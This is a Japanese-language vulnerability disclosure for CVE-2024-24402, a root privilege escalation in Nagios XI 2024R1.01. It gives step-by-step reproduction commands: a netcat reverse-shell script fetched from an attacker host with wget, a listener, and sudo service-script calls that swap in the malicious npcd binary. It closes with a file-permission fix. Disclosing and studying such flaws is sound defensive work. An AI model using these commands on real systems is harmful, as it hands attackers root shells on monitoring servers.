脆弱性レポート

CVE 発見者: Jarod Jaslow (MAWK)

脆弱性の詳細:

エンドポイント: Nagios XI Version 2024R1.01
脆弱性タイプ: ユーザー "NAGIOS" からの権限昇格
悪用結果: ターゲットシステム上での完全な root アクセス

再現手順:

1. Nagios XI バージョン 2024R1.01 の新しいインスタンスを作成する:

Nagios XI OVAファイルを次からダウンロード: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
OVAをデプロイして新しいインスタンスを作成します。 -以前のレポートを使用してサーバー上でRCEを獲得します。

2. 権限昇格を悪用する:

ユーザー "NAGIOS" として、攻撃者マシンに以下の内容のファイルを作成します:
```
#!/bin/bash
nc -e /bin/bash <Attacker IP> 4445
```

Pasted image 20240118113554

Python HTTPサーバーを介して攻撃者マシン上でファイルをホストします:
```
python3 -m http.server 8000
```

Pasted image 20240118173813

攻撃者マシン上でNetcat (NC) リスニングサーバーを起動します:
```
nc -nlvp 4445
```

Pasted image 20240118173831

3. 被害者コンピュータ上で悪用を実行する:

攻撃者マシンからファイルを取得します:
```
wget http://<Attacker IP>:8000/npcd
```

Pasted image 20240118173846

以下のコマンドを実行して権限を昇格させ、rootとして接続を受け取ります:

sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
cp npcd /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

Pasted image 20240118173857

Pasted image 20240118173915

推奨事項:

ユーザー "NAGIOS" が root として実行される Nagios サービス実行ファイルに書き込む能力を制限することを推奨します。これは、Nagios サービスに関連するディレクトリとファイルに対して、より厳格なファイル権限とアクセス制御を実装することで達成できます。

これは新しいリリースで修正されるべきです。

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402

CVE-2024-24402

人気